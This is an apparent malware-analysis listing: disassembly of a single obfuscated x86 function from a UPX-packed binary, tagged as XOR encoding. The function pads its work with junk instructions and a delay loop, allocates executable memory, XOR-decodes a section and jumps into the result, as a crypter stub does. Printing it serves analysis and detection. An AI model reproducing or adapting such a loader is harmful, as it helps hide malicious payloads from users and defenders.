Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6e4b5d4f
sub edx, ebx
sub ebx, 0x8b33c8ab
popal
add edx, 1
add ebx, edx
add edx, 0xc585bb5c
mov edi, 0
mov eax, esi
or ecx, edx
sub ecx, 0x1dae1cba
add edx, 0x4a42b4cd
mov ebx, eax
sub edx, ecx
sub ecx, edx
mov esi, ebx
inc ecx
inc ecx
add edi, 1
and ecx, ecx
or ecx, edx
cmp edi, 0x10092d6
jne 0xa789ce
add ecx, edx
or edx, edx
inc edx
and edx, edx
mov ebx, 0xa78796
not ecx
dec ecx
add edx, 0x5cb78ad2
mov edi, 0xa7898a
sub ecx, edx
dec eax
sub ecx, 0xe7629e9c
mov esi, dword [ebx]
not ecx
and ecx, ecx
dec eax
and esi, 0xff
add eax, 0xb51857d2
dec ecx
and eax, ecx
xor dword [edi], esi
mov edx, 0xd906c297
not edx
inc edi
or edx, ecx
add edx, ecx
not eax
inc ebx
sub eax, ecx
add ecx, ecx
cmp edi, entry0
jl 0xa78a21
add ecx, edx
or eax, eax
sub edx, ecx
mov ecx, eax
add ecx, eax
sub edx, 0xc0443240
add edi, 0x13e8bdb7
dec ecx
mov ebx, 0xa7898e
not edi
not ecx
mov ebx, dword [ebx]
mov edi, edx
not edx
mov edx, edi
mov ebx, dword [ebx]
add edi, 1
mov edx, 0x3f515902
sub esi, 0xf0ce6c5
push ebx
and edx, edx
add ecx, edx
mov esi, edx
mov ebx, 0xa7898a
sub esi, edx
mov edx, edi
or edx, edx
mov ebx, dword [ebx]
mov edi, 0x9fb38874
not ecx
mov ebx, dword [ebx]
or esi, edx
sub ecx, edi
dec ecx
push 0xa78992
or edi, ecx
sub esi, edi
call ebx
mov ecx, 0xfef1d51
not edi
pop ebx
not esi
mov ecx, 0xcb617002
push 0xa7899f
mov ecx, edi
mov ecx, 0x13da749f
sub edi, ecx
push eax
or ecx, edx
add edx, esi
add ecx, 0x432d397d
call ebx
sub ecx, edx
add edx, edx
push 0x40
add edx, esi
inc esi
not edx
sub esp, 4
mov dword [esp], 0x3000
mov edx, 0x7eff6869
add ecx, 0x24b70a89
push 0x20000d20
add edi, ecx
sub edi, 0x5ddd1c89
mov ecx, 0xe7707f81
push 0
dec esi
add esi, 0x2dba18ac
mov esi, 0x64231ec0
call eax
sub edx, 0x277e2e1b
add esi, 0x1bf913e7
sub edi, edx
add eax, 0x20000ca9
add edi, 0x1abb596a
mov ecx, edi
mov esi, 0x7f234b2
mov ebx, 0x2ab1240d
sub ecx, 0x4edfc935
sub edx, 0x2ac50f7d
mov dword [eax], ebx
add ecx, esi
or edx, edi
mov ebx, dword [eax]
or ecx, esi
mov edi, edx
cmp ebx, 0x2ab1240d
je 0xa78b7f
mov eax, 0
mov ecx, dword [eax]
mov esi, edx
mov esi, 0xde2fb4df
add edi, 0xe8c4a20d
inc edi
mov ecx, edi
sub ebx, 0x9c312ef4
not edx
mov edx, ebx
mov ecx, section.UPX1
sub ebx, 0x923ce2ab
or ebx, ebx
not edx
mov esi, 0xa78795
mov edx, 0xbe14fdf5
add edx, 1
mov edi, 0
and edx, edx
dec edx
mov eax, 0xa78796
inc ebx
mov edx, ebx
not edx
lea eax, [edi + eax]
add edx, 0xc777c788
add ebx, 0x73e5e070
mov eax, dword [eax]
add ebx, 0x317a5410
add edx, ebx
mov edx, 0x9d64fddd
and eax, 0xff
dec edx
mov edx, 0x268eb22
and ebx, ebx
inc edi
add edx, 0x62cdf9e0
dec edx
cmp edi, 0x1f4
jne 0xa78c0b
mov edi, 0
sub edx, ebx
sub ebx, 0xef9c11da
and ebx, ebx
inc ebx
add edx, ebx
add ebx, 0x21d47353
xor dword [ecx], eax
inc ebx
sub ebx, edx
add ecx, 2
and ebx, edx
sub edx, ebx
cmp ecx, esi
jl 0xa78bc0
add edx, 1
sub ebx, edx
mov ebx, 0x21ea4135
mov edx, 0x681f7bda
or ebx, edx
mov edx, 0x20990f05
mov eax, section.UPX1
mov edi, 0x8445f118
sub edi, esi
mov esi, 0x15c9592e
mov ebx, section.UPX1
sub edi, esi
sub esi, edi
dec esi
mov edx, 0xa78795
mov esi, 0x3345e365
mov esi, 0xf8e4971e
mov ecx, 0
sub esi, 0x9ac9ea70
sub esi, 0xcd6af43a
mov cl, byte [ebx]
add edi, 0x2611fe64
add edi, 0x8135a2c
mov byte [eax], cl
inc edi
not esi
sub esi, edi
inc eax
sub esi, edi
sub esi, edi
add ebx, 2
dec edi
and edi, edi
add edi, esi
cmp ebx, edx
jle 0xa78c89
sub edi, 0x78acb123
not edi
dec esi
or edx, edx
add ebx, ebx
sub edx, ebx
push 0x8dc6a0
sub edx, ebx
mov edx, ebx
add ebx, 0xe2b76ef9
ret